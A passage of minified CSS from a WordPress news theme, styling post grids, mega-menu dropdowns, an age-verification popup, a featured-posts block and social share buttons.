.elementor-column.elementor-col-25.penci-ercol-order-3,.penci-sb2_con_sb1.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1,.penci-sb2_sb1_con.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1{order:1}.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-25.penci-ercol-order-1,.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-25.penci-ercol-order-2,.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-25.penci-ercol-order-2,.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-25.penci-ercol-order-3,.penci-repons-elsection.penci-structure-40 .elementor-column.penci-ercol-25,.penci-repons-elsection.penci-structure-50 .elementor-column.penci-ercol-20,.penci-repons-elsection.penci-structure-60 .elementor-column.penci-ercol-16{width:100%}.penci-top-bar .pctopbar-item.penci-topbar-trending{display:none;padding:0 10px}}@media only screen and (max-width:480px){.penci-image-gallery-s2 .penci-post-smalls .penci-gallery-item{width:100%;float:left}.penci-image-gallery-s3 .penci-gallery-big-item,.penci-image-gallery-s3 .penci-gallery-small-item,.penci-image-gallery-s4 .penci-gallery-big-item,.penci-image-gallery-s4 .penci-gallery-small-item{width:100%;float:none}}.penci-grid .pc-hasmorepost,.penci-grid .pc-nomorepost{display:none}.penci-grid[data-layout=grid-boxed-2] li .item,.penci-grid[data-layout=grid-boxed] li .item{border:1px solid var(--pcborder-cl);padding:20px;height:100%}.penci-grid[data-layout=grid-boxed-2] li .item{padding-bottom:0}.penci-grid[data-layout=grid-boxed-2] li .item>.thumbnail,.penci-grid[data-layout=grid-boxed] li .item>.thumbnail{margin-left:-21px;margin-right:-21px;margin-top:-21px;display:block;width:calc(100% + 42px)}.penci-grid[data-layout=grid-boxed-2] li .item{display:flex;flex-wrap:wrap}.penci-grid[data-layout=grid-boxed-2] li .item>div{order:1;width:100%}.penci-grid[data-layout=grid-boxed-2] li .item>.thumbnail{order:2;margin-bottom:0;margin-top:0;align-content:end}.penci-grid[data-layout=grid-boxed-2] li .item>.item-content{margin-bottom:30px}.penci-grid[data-layout=list-boxed-2] li.list-post,.penci-grid[data-layout=list-boxed] li.list-post{padding-bottom:0;border-bottom:0}.penci-grid[data-layout=list-boxed-2] li.list-post .item,.penci-grid[data-layout=list-boxed] li.list-post .item{border:1px solid var(--pcborder-cl);padding:20px;display:flex;flex-wrap:wrap}.penci-grid[data-layout=list-boxed] li.list-post .item{padding-left:0;border-left:0}.penci-grid[data-layout=list-boxed-2] li.list-post .item{padding-right:0;border-right:0}.penci-grid[data-layout=list-boxed-2] li.list-post .item>.thumbnail,.penci-grid[data-layout=list-boxed] li.list-post .item>.thumbnail{margin-top:-21px;margin-bottom:-21px}.penci-grid[data-layout=list-boxed-2] li.list-post .item>.thumbnail .penci-image-holder,.penci-grid[data-layout=list-boxed] li.list-post .item>.thumbnail .penci-image-holder{height:100%}.penci-grid[data-layout=list-boxed-2] li.list-post .item>div{order:1}.penci-grid[data-layout=list-boxed-2] li.list-post .item>.thumbnail{order:2;margin-left:0}.penci-grid[data-layout=list-boxed-2] li.list-post .item .content-list-right{padding-right:30px;padding-left:0}.penci-grid[data-layout=grid-boxed-3] li .item{--pcheading-cl:#fff;--pcmeta-cl:#fff;padding:20px;background:var(--pctext-cl);color:var(--pcbg-cl);position:relative;margin-left:15px}.penci-grid[data-layout=grid-boxed-3] li.pchide-cat .item{margin-left:0}.penci-grid[data-layout=grid-boxed-3] li .item .grid-header-box{position:static}.penci-grid[data-layout=grid-boxed-3] li .item .cat{position:absolute;top:0;left:0;transform:translate(calc(0 - 50% - 18px),80px) rotate(-90deg);width:100%;max-width:170px;align-items:flex-start;justify-content:flex-end;display:flex;margin:0}.penci-grid[data-layout=grid-boxed-3] li .item .cat a{margin-bottom:0;font-weight:var(--pchead-wei)}.penci-grid[data-layout=grid-boxed-3] li .item .grid-post-box-meta span{color:var(--pcmeta-cl);opacity:.5}.penci-grid[data-layout=grid-boxed-3] li .item .grid-post-box-meta span a{color:var(--pcmeta-cl)}.penci-grid[data-layout=grid-boxed-3] .grid-header-box:after,.penci-grid[data-layout=grid-boxed-3] .penci-post-box-meta.penci-post-box-grid:before{display:none}.penci-grid[data-layout=grid-boxed-3] .penci-post-box-meta.penci-post-box-grid{background:rgba(255,255,255,.1);padding:20px;margin:20px -20px -20px}.penci-grid[data-layout=grid-boxed-3] .penci-post-box-meta.penci-post-box-grid .penci-post-share-box{background:0 0}.penci-grid[data-layout=grid-boxed-3] .penci-post-box-meta.penci-post-box-grid .penci-post-share-box a{color:var(--pcmeta-cl)}.grid-boxed-4-item{box-shadow:0 5px 15px rgba(0,0,0,.09)}.grid-boxed-4-item .item-content{padding-left:20px;padding-right:20px}.grid-boxed-4-item .grid-header-box{padding:20px}.penci-grid li.grid-boxed-4-item .item .item-content{padding-bottom:0;padding-top:0}.grid-boxed-4-item .grid-header-box{--mask:radial-gradient(8.41px at 50% calc(100% - 11.4px),#000 99%,#0000 101%) calc(50% - 8px) 0/16px 100%,radial-gradient(8.41px at 50% calc(100% + 7.4px),#0000 99%,#000 101%) 50% calc(100% - 4px)/16px 100% repeat-x;-webkit-mask:var(--mask);mask:var(--mask);background:#f1f1f1}.penci-grid li.grid-boxed-4-item .item>.thumbnail{margin-bottom:0}.grid-boxed-4-item .grid-header-box{text-align:left}.grid-boxed-4-item .penci-btn-readmore{padding:12px 20px}.grid-boxed-4-item .penci-post-box-meta:before{display:none}.grid-boxed-4-item .penci-post-box-meta{padding:10px 0;border-top:1px dotted var(--pcborder-cl)!important}.grid-boxed-4-item .item{display:flex;flex-wrap:wrap;flex-direction:row;height:100%}.grid-boxed-4-item .penci-post-box-meta,.grid-boxed-4-item .penci-readmore-btn{flex:100%}.grid-boxed-4-item .penci-post-box-meta{align-self:end}.penci-grid4-date{position:absolute;bottom:0;left:0;z-index:2;color:#fff;background:var(--pcaccent-cl);padding-right:10px;text-transform:uppercase;font-size:12px}.penci-grid4-date span{display:inline-block;padding:5px 10px;background:#000;margin-right:10px;font-size:18px;vertical-align:middle}@media only screen and (min-width:961px){.container.penci_sidebar .penci-grid[data-cols="2"]>li,.penci-grid[data-cols="2"]>li{width:calc((100% - var(--pcrgap))/ 2);margin-bottom:40px}.container.penci_sidebar .penci-grid[data-cols="3"]>li,.penci-grid[data-cols="3"]>li{width:calc((100% - var(--pcrgap) * 2)/ 3);margin-bottom:40px}.container.penci_sidebar .penci-grid[data-cols="4"]>li,.penci-grid[data-cols="4"]>li{width:calc((100% - var(--pcrgap) * 3)/ 4);margin-bottom:40px}.container.penci_sidebar .penci-grid[data-cols="5"]>li,.penci-grid[data-cols="5"]>li{width:calc((100% - var(--pcrgap) * 4)/ 5);margin-bottom:40px}}@media only screen and (min-width:961px) and (max-width:1169px){.container .penci-grid[data-cols="4"]>li,.container .penci-grid[data-cols="5"]>li{width:calc((100% - var(--pcrgap) * 2)/ 3);margin-bottom:40px}.container.penci_sidebar .penci-grid[data-cols="4"]>li,.container.penci_sidebar .penci-grid[data-cols="5"]>li{width:calc((100% - var(--pcrgap))/ 2);margin-bottom:40px}}@media only screen and (max-width:961px){.container.penci_sidebar .penci-grid[data-cols="1"]>li,.penci-grid[data-cols="1"]>li{width:100%}.container.penci_sidebar .penci-grid[data-cols="2"]>li,.penci-grid[data-cols="2"]>li{width:calc((100% - var(--pcrgap))/ 2)}}@media only screen and (min-width:768px) and (max-width:1024px){.container.penci_sidebar .penci-grid[data-tcols="1"]>li,.penci-grid[data-tcols="1"]>li{width:100%!important}.container.penci_sidebar .penci-grid[data-tcols="2"]>li,.penci-grid[data-tcols="2"]>li{width:calc((100% - var(--pcrgap))/ 2)!important}.container.penci_sidebar .penci-grid[data-tcols="3"]>li,.penci-grid[data-tcols="3"]>li{width:calc((100% - var(--pcrgap) * 2)/ 3)!important}.container.penci_sidebar .penci-grid[data-tcols="4"]>li,.penci-grid[data-tcols="4"]>li{width:calc((100% - var(--pcrgap) * 3)/ 4)!important}.container.penci_sidebar .penci-masonry[data-cols="3"] .item-masonry,.container.penci_sidebar .penci-masonry[data-cols="4"] .item-masonry,.container.penci_sidebar .penci-masonry[data-cols="5"] .item-masonry,.penci-masonry[data-cols="3"] .item-masonry,.penci-masonry[data-cols="4"] .item-masonry,.penci-masonry[data-cols="5"] .item-masonry{width:50%}.penci-masonry[data-tcols="1"] .item-masonry{width:100%!important}.penci-masonry[data-tcols="2"] .item-masonry{width:50%!important}.penci-masonry[data-tcols="3"] .item-masonry{width:calc(100% / 3)!important}}@media only screen and (max-width:767px){.penci-grid[data-layout=list-boxed] li.list-post .item .content-list-right{border:1px solid var(--pcborder-cl);padding:20px;border-top:0}.penci-grid[data-layout=list-boxed] li.list-post .item>.thumbnail{margin-top:0;margin-bottom:0}.penci-grid[data-layout=list-boxed] li.list-post .item{border:0;padding:0}.penci-grid[data-layout=list-boxed-2] li.list-post .item .content-list-right{border:1px solid var(--pcborder-cl);padding:20px;border-bottom:0}.penci-grid[data-layout=list-boxed-2] li.list-post .item>.thumbnail{margin-top:0;margin-bottom:0}.penci-grid[data-layout=list-boxed-2] li.list-post .item{border:0;padding:0}ul.penci-grid{--pcrgap:20px}}.menu-item-has-label .menu-label{font-size:9px;font-weight:600;line-height:12px;position:absolute;z-index:1;top:calc(50% - 25px);left:100%;display:inline-block;margin-left:-20px;padding:2px 4px;vertical-align:middle;white-space:nowrap;letter-spacing:.3px;text-transform:uppercase;color:#fff;background-color:var(--pcaccent-cl)}#sidebar-nav .menu-item-has-label .menu-label,.pc-dropdown-menu .menu-item-has-label .menu-label,.penci-menu-hbg .menu-item-has-label .menu-label{left:auto}.menu-item-has-label .menu-label.label-style-1:before,.menu-item-has-label .menu-label.label-style-2:before{position:absolute;top:100%;left:10px;content:"";border:4px solid;border-color:var(--pcaccent-cl);border-right-width:7px;border-right-color:transparent!important;border-bottom-color:transparent!important;border-left-width:0}.menu-item-has-label .menu-label.label-style-2:before{left:0}.menu-item-has-label .menu-label.label-style-4:before{position:absolute;right:50%;bottom:-4px;left:50%;margin-left:-4px;content:"";border-width:4px 4px 0 4px;border-style:solid;border-color:var(--pcaccent-cl);border-right-color:transparent!important;border-bottom-color:transparent!important;border-left-color:transparent!important}.penci-mega-content-container{text-align:initial}.desktop-meta-bg-hidden{display:none}@media only screen and (min-width:767px) and (max-width:1169px){.tablet-meta-bg-hidden{display:none}}@media only screen and (max-width:767px){.mobile-meta-bg-hidden{display:none}}.biggrid-archive-wrapper .grid-post-box-meta{overflow:hidden}.featured-list-title{margin-bottom:30px}.penci-dropdown-menu{position:absolute;visibility:hidden;opacity:0;z-index:9999;box-shadow:0 3px 3px rgba(190,190,190,.6);-webkit-box-shadow:0 3px 3px rgba(190,190,190,.6);-moz-box-shadow:0 3px 3px rgba(190,190,190,.6);border-top:1px solid #ececec;margin-top:0;background-color:#fff;background-size:cover;background-repeat:no-repeat;background-position:center center}.penci-dropdown-menu.penci-mega-full-width{left:0}.penci-dropdown-menu.penci-mega-custom-width{left:auto;right:auto}#navigation .penci-dropdown-menu.penci-mega-custom-width .container,.navigation .penci-dropdown-menu.penci-mega-custom-width .container{display:block}.penci-dropdown-menu .post-entry{line-height:unset;margin-bottom:0}#navigation .penci-dropdown-menu,.navigation .penci-dropdown-menu{max-width:100vw;display:none}#navigation .penci-dropdown-menu .container,#navigation .penci-dropdown-menu .penci-megamenu,.navigation .penci-dropdown-menu .container,.navigation .penci-dropdown-menu .penci-megamenu{display:block}#navigation .penci-mega-custom-width .container,.navigation .penci-mega-custom-width .container{width:100%}.penci-dropdown-menu.loading{min-height:150px}.penci-dropdown-menu:before,.penci-megamenu:before{opacity:0;background-color:inherit;transition:all .2s ease;top:0;left:0;right:0;bottom:0;content:"";position:absolute;min-height:0}.penci-dropdown-menu.loading:before,.penci-megamenu.loading:before{opacity:1;z-index:8}.penci-dropdown-menu:after,.penci-megamenu:after{opacity:0;transition:opacity .2s ease;content:"";display:inline-block;border:1px solid #bbb;border-left-color:#000;border-top-color:#000;border-radius:50%;vertical-align:middle;position:absolute;top:50%;left:50%;margin-top:-12px;margin-left:-12px;width:24px;height:24px}@keyframes penci-menu-rotate{100%{transform:rotate(360deg)}}.penci-dropdown-menu.loading:after,.penci-megamenu.loading:after{opacity:1;z-index:9;animation:penci-menu-rotate .35s infinite linear}.button-popup-content,.penci-age-verify,.penci-epopup-content,.penci-popup-content{position:relative;width:100%;max-width:650px;margin-right:auto;margin-left:auto;background-color:#fff;padding:40px;text-align:center;display:none}.mfp-wrap .button-popup-content,.mfp-wrap .penci-age-verify,.mfp-wrap .penci-epopup-content,.mfp-wrap .penci-popup-content{display:block}.penci-age-verify .penci-age-verify-buttons{margin-top:30px}.penci-age-verify .penci-age-verify-buttons .button{display:inline-block;padding:0 15px;line-height:35px;background-color:var(--pcaccent-cl);color:#fff;text-transform:uppercase;font-weight:var(--pchead-wei);transition:.3s all ease-in-out}.penci-age-verify .penci-age-verify-buttons .button.penci-age-verify-forbidden{color:var(--pctext-cl);background-color:#f1f1f1}.penci-age-verify .penci-age-verify-buttons .button:hover{opacity:.8}.penci-age-verify.penci-forbidden .penci-age-verify-buttons,.penci-age-verify.penci-forbidden .penci-age-verify-text{display:none}.pc-fho-wrap{position:relative;--gap:20px;--vgap:20px;--maingap:30px;--iconw:25%;--iconsz:150px;--iconbd:5px;--obg:rgba(0, 0, 0, 0.5);--ohbg:rgba(0, 0, 0, 0.8);--sobg:rgba(0, 0, 0, 0);--sohbg:rgba(0, 0, 0, 0.5);z-index:1;max-width:100%;margin-left:auto;margin-right:auto}.pc-fho-wrap .mp-link{top:0;left:0;right:0;bottom:0;position:absolute;background-size:cover;z-index:1;display:block;text-indent:-99999999px}.pc-fho-wrap .mp-link:not(.penci-lazy){background-color:rgba(0,0,0,.5)}.pc-fho-container{width:100%;margin-left:auto;margin-right:auto;max-width:var(--pcctain)}.pc-fho-wrap .mp-link:before{content:"";top:0;left:0;right:0;bottom:0;position:absolute;background-color:var(--obg);z-index:2;transition:.3s background-color ease-in-out}.pc-fho-wrap .mp-link:hover:before{background-color:var(--ohbg)}.pc-fho-wrap .pc-fho-mpct{position:relative;z-index:2}.pc-fho-wrap .pc-fho-mpct:hover~.mp-link:before{background-color:var(--ohbg)}.pc-fho-wrap .pc-fho-bg-wrap{padding:60px}.pc-fho-wrap .pc-fho-mpct{margin-left:calc(var(--maingap)/ 2 * -1);margin-right:calc(var(--maingap)/ 2 * -1);display:flex;display:-webkit-flex;display:-ms-flexbox;-webkit-flex-flow:row wrap;flex-flow:row wrap;align-items:center}.pc-fho-wrap .pc-fho-mpct .pc-fho-mc,.pc-fho-wrap .pc-fho-mpct .pc-fho-mi{padding-left:calc(var(--maingap)/ 2);padding-right:calc(var(--maingap)/ 2)}.pc-fho-wrap .pc-fho-mpct .pc-fho-mi{flex:0 0 var(--iconw);align-items:center;display:flex}.pc-fho-wrap .pc-fho-mpct .pc-fho-mc{flex:0 0 calc(100% - var(--iconw))}.pc-fho-wrap .pc-fho-mpct .pc-fho-mc.bct-fullwidth{flex:0 0 100%!important}.pc-fho-wrap .pc-fho-mc .pc-fho-mt h3{font-size:55px;line-height:1.1;margin-bottom:0}.pc-fho-wrap .pc-fho-mc .pc-fho-mm a,.pc-fho-wrap .pc-fho-mc .pc-fho-mt a{color:#fff;text-decoration:none}.pc-fho-wrap .pc-fho-mi-i{max-width:var(--iconsz);height:var(--iconsz);border:var(--iconbd) solid #fff;background:rgba(0,0,0,.1);color:#fff;border-radius:50%;text-align:center;width:100%}.pc-fho-wrap .pc-fho-mi-i a{color:inherit}.pc-fho-wrap .pc-fho-mi-i i{font-size:70px;line-height:calc(var(--iconsz) - (var(--iconbd) * 2))}.pc-fho-wrap .pc-fho-msli{margin-left:calc(var(--gap)/ 2 * -1);margin-right:calc(var(--gap)/ 2 * -1);margin-top:60px}.pc-fho-wrap .pc-fho-msli .pc-fho-msli-inner-ct{display:flex;display:-webkit-flex;display:-ms-flexbox;-webkit-flex-flow:row wrap;flex-flow:row wrap;align-items:flex-start;overflow:hidden}.pc-fho-wrap .pc-fho-msli .pc-fho-li{position:relative;z-index:3;padding-left:calc(var(--gap)/ 2);padding-right:calc(var(--gap)/ 2)}.pc-fho-msli-inner-ct:not(.penci-owl-carousel) .pc-fho-li{margin-bottom:var(--vgap)}.pc-fho-wrap .pc-fho-msli.columns-1 .pc-fho-li{flex:0 0 100%}.pc-fho-wrap .pc-fho-msli.columns-2 .pc-fho-li{flex:0 0 50%}.pc-fho-wrap .pc-fho-msli.columns-3 .pc-fho-li{flex:0 0 33.3333333333%}.pc-fho-wrap .pc-fho-msli.columns-4 .pc-fho-li{flex:0 0 25%}.pc-fho-wrap .pc-fho-msli.columns-5 .pc-fho-li{flex:0 0 20%}.pc-fho-wrap .pc-fho-msli.columns-6 .pc-fho-li{flex:0 0 16.6666666667%}.pc-fho-msli-inner-ct>.pc-fho-li:last-child{margin-bottom:0!important}@media only screen and (min-width:1170px){.pc-fho-msli.columns-2 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),.pc-fho-msli.columns-3 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),.pc-fho-msli.columns-3 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(3),.pc-fho-msli.columns-4 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),.pc-fho-msli.columns-4 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(3),.pc-fho-msli.columns-4 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(4),.pc-fho-msli.columns-5 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),.pc-fho-msli.columns-5 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(3),.pc-fho-msli.columns-5 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(4),.pc-fho-msli.columns-5 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(5),.pc-fho-msli.columns-6 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),.pc-fho-msli.columns-6 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(3),.pc-fho-msli.columns-6 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(4),.pc-fho-msli.columns-6 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(5),.pc-fho-msli.columns-6 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(6){margin-bottom:0}}@media only screen and (min-width:768px) and (max-width:1169px){.pc-fho-msli.tablet-columns-2 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),.pc-fho-msli.tablet-columns-3 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),.pc-fho-msli.tablet-columns-3 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(3),.pc-fho-msli.tablet-columns-4 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),.pc-fho-msli.tablet-columns-4 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(3),.pc-fho-msli.tablet-columns-4 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(4){margin-bottom:0}}@media only screen and (max-width:767px){.pc-fho-msli.mobile-columns-2 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2){margin-bottom:0}}.pc-fho-wrap .pc-fho-cat a,.pc-fho-wrap .pc-fho-cat a:hover{text-decoration:none}.pc-fho-wrap .pc-fho-list-img{margin-bottom:15px}.pc-fho-wrap .pc-fho-list-img a{display:block}.pc-fho-wrap .pc-fho-li .icon-post-format{top:50%;right:auto;left:50%;width:38px;height:38px;line-height:34px;font-size:18px;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;margin:-18px 0 0 -18px}.pc-fho-slolay{position:absolute;top:0;width:100%;height:100%;left:0;display:block;z-index:1;background:var(--sobg);transition:all .3s}.pc-fho-wrap .pc-fho-list-img:hover .pc-fho-slolay{background:var(--sohbg)}.pc-fho-wrap .pc-fho-li .icon-post-format i.penci-faicon{line-height:inherit}.pc-fho-wrap .pc-fho-li .pc-fho-list-img:hover .icon-post-format{opacity:0;transform:scale(.5);-webkit-transform:scale(.5);-moz-transform:scale(.5)}.pc-fho-wrap .pc-fho-li .penci-piechart.penci-piechart-small{top:10px;right:10px}.pc-fho-wrap .pc-fho-lt h3{margin-bottom:0;font-size:18px;line-height:1.3}.pc-fho-cat{line-height:1;margin-bottom:4px}.pc-fho-wrap .grid-post-box-meta{margin-top:5px}.pc-fho-mpct .grid-post-box-meta a,.pc-fho-mpct .grid-post-box-meta span,.pc-fho-wrap .cat>a.penci-cat-name,.pc-fho-wrap .pc-fho-lm a,.pc-fho-wrap .pc-fho-lm span,.pc-fho-wrap .pc-fho-lt a{color:#fff;text-decoration:none}@media only screen and (min-width:768px) and (max-width:1169px){.pc-fho-wrap .pc-fho-msli.tablet-columns-2 .pc-fho-li{flex:0 0 50%}.pc-fho-wrap .pc-fho-msli.tablet-columns-3 .pc-fho-li{flex:0 0 33.3333333333%}.pc-fho-wrap .pc-fho-msli.tablet-columns-4 .pc-fho-li{flex:0 0 25%}.pc-fho-wrap .pc-fho-mc .pc-fho-mt h3{font-size:42px}}@media only screen and (min-width:768px){.pc-fho-wrap .pc-fho-mp{background:unset!important}}@media only screen and (max-width:767px){.pc-fho-wrap .mp-link{display:none}.pc-fho-wrap .pc-fho-bg-wrap{padding:0;background:unset!important}.pc-fho-wrap .pc-fho-mp{padding:40px 20px;background-size:cover;position:relative}.pc-fho-wrap .pc-fho-mp:before{content:"";top:0;left:0;right:0;bottom:0;position:absolute;background-color:var(--obg);z-index:2;transition:.3s background-color ease-in-out}.pc-fho-wrap .pc-fho-mp:hover:before{background-color:var(--ohbg)}.pc-fho-wrap .pc-fho-mpct .pc-fho-mi{flex:0 0 100%;margin-bottom:var(--maingap)}.pc-fho-wrap .pc-fho-mpct .pc-fho-mc{flex:0 0 100%;text-align:center}.pc-fho-wrap .pc-fho-mc .pc-fho-mt h3{font-size:20px;line-height:1.2}.pc-fho-wrap .pc-fho-msli .pc-fho-li{flex:0 0 50%;margin-bottom:30px}.pc-fho-wrap .pc-fho-mi-i i{font-size:28px}.pc-fho-wrap{--iconsz:60px;--iconbd:2px;--maingap:20px}.pc-fho-wrap .pc-fho-msli{margin-top:30px}.pc-fho-wrap .pc-fho-msli.mobile-columns-1 .pc-fho-li{flex:0 0 100%}.pc-fho-wrap .pc-fho-lm a{color:var(--pctext-cl)}.pc-fho-wrap .pc-fho-lm span{color:var(--pcmeta-cl)}.pc-fho-wrap .pc-fho-li .cat>a.penci-cat-name{color:var(--pcaccent-cl)}.pc-fho-wrap .pc-fho-lt a{color:var(--pcheading-cl)}}.pctmp-term-list .term-labels{display:inline-block}.pctmp-term-list .pctmp-term-item,.pctmp-term-list li{display:inline-block}.pctmp-term-list li .count{margin-left:5px}.elementor-widget-penci-single-related-posts .post-related{border:0}.elementor-widget-penci-single-comment-form h3.comment-reply-title{border-top:0!important;padding-top:0!important}.pcmt-icon{display:inline-block;vertical-align:baseline}.tags-share-box.pcnew-share,.tags-share-box.share-box-border-bot.pcnew-share,.tags-share-box.tags-share-box-bot.pcnew-share,.tags-share-box.tags-share-box-top.pcnew-share{border-top:0;border-bottom:0;padding-top:0;padding-bottom:0;margin-bottom:15px}.tags-share-box.post-share{top:0}.pcnew-share .post-share-item{margin:0 4px 0 4px}.tags-share-box.disable-btnplus{white-space:normal;opacity:1!important}.tags-share-box.post-share.disable-btnplus .auto-hidden{display:inline-block!important}.tags-share-box.post-share.disable-btnplus .post-share-expand{display:none!important;visibility:hidden!important}.pcnew-share.penci-icon-full .post-share-item i,.pcnew-share:not(.penci-icon-full) .post-share-item{position:relative;display:inline-block;margin:0 4px 8px;height:40px;min-width:40px;line-height:40px;font-size:14px;text-align:center;vertical-align:middle;color:#fff;overflow:hidden}body:not(.rtl) .tags-share-box.post-share.disable-btnplus .post-share-item{margin-left:0!important;margin-right:8px}body.rtl .tags-share-box.post-share.disable-btnplus .post-share-item{margin-right:0!important;margin-left:8px}.tags-share-box-n1.penci-social-colored a i.fa-heart,.tags-share-box-n10.penci-social-colored a i.fa-heart,.tags-share-box-n12.penci-social-colored a i.fa-heart,.tags-share-box-n19.penci-social-colored a i.fa-heart,.tags-share-box-n20.penci-social-colored a i.fa-heart,.tags-share-box-n3.penci-social-colored a i.fa-heart,.tags-share-box-n5.penci-social-colored a i.fa-heart,.tags-share-box-n8.penci-social-colored a i.fa-heart{background-color:transparent!important}.pcnew-share .post-share-item:not(.post-share-plike) i{z-index:1}.pcnew-share.penci-icon-full .post-share-item i{margin:0}.pcnew-share.full-border.penci-icon-full.border-style .post-share-item.post-share-plike i{vertical-align:top}.pcnew-share .post-share-item{transition:opacity .3s ease-in-out}.pcnew-share .post-share-item:hover{opacity:.85}.tags-share-box.pcnew-share{padding-right:0}.pcnew-share .post-share a{margin:0 0 0 5px}.pcnew-share .post-share-item i,.pcnew-share.penci-icon-full .post-share-item i{margin-bottom:0}.pcnew-share.border-style:not(.penci-icon-full) .post-share-item,.pcnew-share.full-border .post-share-item,.pcnew-share.penci-icon-full.border-style .post-share-item i{border:1px solid var(--pcborder-cl);margin-bottom:0}.pcnew-share.full-border.penci-icon-full.border-style .post-share-item i{margin:0;border-width:0}.show-txt.border-style.full-border a .dt-share{border:0;margin:0;padding:0 15px}.pcnew-share.full-border .post-share-item{padding-left:0;padding-right:0}.pcnew-share.size-large .post-share-item,.pcnew-share.size-large.penci-icon-full .post-share-item i{height:60px;min-width:60px;line-height:60px;font-size:18px;vertical-align:top}.pcnew-share.size-large.penci-icon-full.txt-below .post-share-item i{line-height:75px}.pcnew-share.size-large.penci-icon-full .post-share-item.post-share-plike i{width:auto;min-width:unset}.rounder .post-share-item,.rounder .post-share-item i{border-radius:50px}.pcnew-share .post-share-plike{background-color:#000;padding-left:10px}.pcnew-share.border-style .post-share-plike{background-color:transparent;color:#000;border:1px solid var(--pcborder-cl)}.pcnew-share.border-style:not(.tags-share-box-n20) .post-share-plike i{border:0!important}.pcnew-share .post-share-plike .post-share-item,.pcnew-share.penci-icon-full .post-share-plike .post-share-item i{width:auto}.pcnew-share a.penci-post-like:after{display:none}.pcnew-share.post-share{position:initial}.show-txt.post-share a .dt-share{position:static;padding:0;margin:0 0 0 8px;opacity:1;visibility:visible;background-color:transparent;font-size:13px;width:auto;max-width:unset}.show-txt.focus-icon.post-share a .dt-share{border:0}.show-txt.focus-icon .post-share-item i{background-color:rgba(0,0,0,.5);height:40px;min-width:40px;line-height:40px}.show-txt.focus-icon .post-share-item.post-share-plike i{background-color:transparent;min-width:unset}.show-txt a:not(.single-like-button){padding-left:12px;padding-right:12px}.show-txt.focus-icon a{padding-left:0}.show-txt.rounder a{padding-left:20px;padding-right:20px}.show-txt.rounder a.single-like-button{padding-left:0;padding-right:0}.show-txt.post-share a .dt-share:after,.show-txt.post-share a .dt-share:before{display:none}.show-shadow:not(.show-txt).post-share .post-share-item.post-share-plike,.show-shadow:not(.show-txt).post-share .post-share-item:not(.post-share-plike) i{-webkit-box-shadow:inset 0 -3px 0 0 rgba(0,0,0,.31);box-shadow:inset 0 -3px 0 0 rgba(0,0,0,.31)}.show-shadow.show-txt.post-share .post-share-item{-webkit-box-shadow:inset 0 -3px 0 0 rgba(0,0,0,.31);box-shadow:inset 0 -3px 0 0 rgba(0,0,0,.31)}.show-txt.txt-below.size-large.post-share a{position:relative;line-height:50px;height:90px}.show-txt.txt-below.pcnew-share.size-large .post-share-item.post-share-plike,.show-txt.txt-below.pcnew-share.size-large .post-share-item.post-share-plike i{line-height:90px;height:90px}.show-txt.txt-below.pcnew-share.size-large .post-share-item.post-share-plike i{background-color:transparent!important}.show-txt.txt-below.size-large.post-share a i{font-size:22px}.show-txt.txt-below.post-share a .dt-share{display:block;position:absolute;bottom:5px;left:0;right:0;z-index:2;color:#fff;margin:0;padding:0;border:0;line-height:1}.show-txt.border-style.post-share a .dt-share{color:#000;border-color:rgba(0,0,0,.1)}.no-spacing .post-share-item,.no-spacing .post-share-item i,.pcnew-share.penci-icon-full.no-spacing .post-share-item i{margin-left:0;margin-right:0}.black-ver .post-share-item,.black-ver .post-share-item i{background-color:#000;color:#fff}.black-ver .post-share-item.post-share-plike i{background-color:transparent!important}.tags-share-box-n19.pcnew-share.border-style .post-share-item i,.tags-share-box-n20 .post-share-item i,.tags-share-box-n20.pcnew-share.border-style .post-share-item i{position:relative;color:#fff}.tags-share-box-n19.pcnew-share.border-style .post-share-item.post-share-plike,.tags-share-box-n20.pcnew-share.border-style .post-share-item.post-share-plike{padding-left:12px;padding-right:12px}.tags-share-box-n19.pcnew-share.border-style .post-share-item.post-share-plike i,.tags-share-box-n20.pcnew-share.border-style .post-share-item.post-share-plike i{padding-right:5px;background-color:transparent}.tags-share-box-n19 .count-number-like,.tags-share-box-n20 .count-number-like{float:right;padding:0}.tags-share-box-n20.pcnew-share.penci-icon-full .post-share-item i{overflow:visible}.tags-share-box-n20 .post-share-item i:after{content:"";width:0;height:0;border-style:solid;border-width:6px 0 6px 5px;border-color:transparent transparent transparent transparent;border-left-color:inherit;position:absolute;top:50%;bottom:50%;left:100%;transform:translateY(-50%)}.tags-share-box-n20 .post-share-item.post-share-plike i:after{display:none}.pcnew-share .post-share-plike{height:40px;display:inline-block;line-height:40px;overflow:hidden}.pcnew-share .penci-social-share-text{min-width:40px;height:40px;line-height:40px;border:1px solid var(--pcborder-cl);display:inline-block;padding:0 15px;margin-right:12px;position:relative;vertical-align:top!important;font-weight:700;text-transform:uppercase;font-size:13px}.pcnew-share .post-share-plike i,.pcnew-share.penci-icon-full .post-share-item.post-share-plike 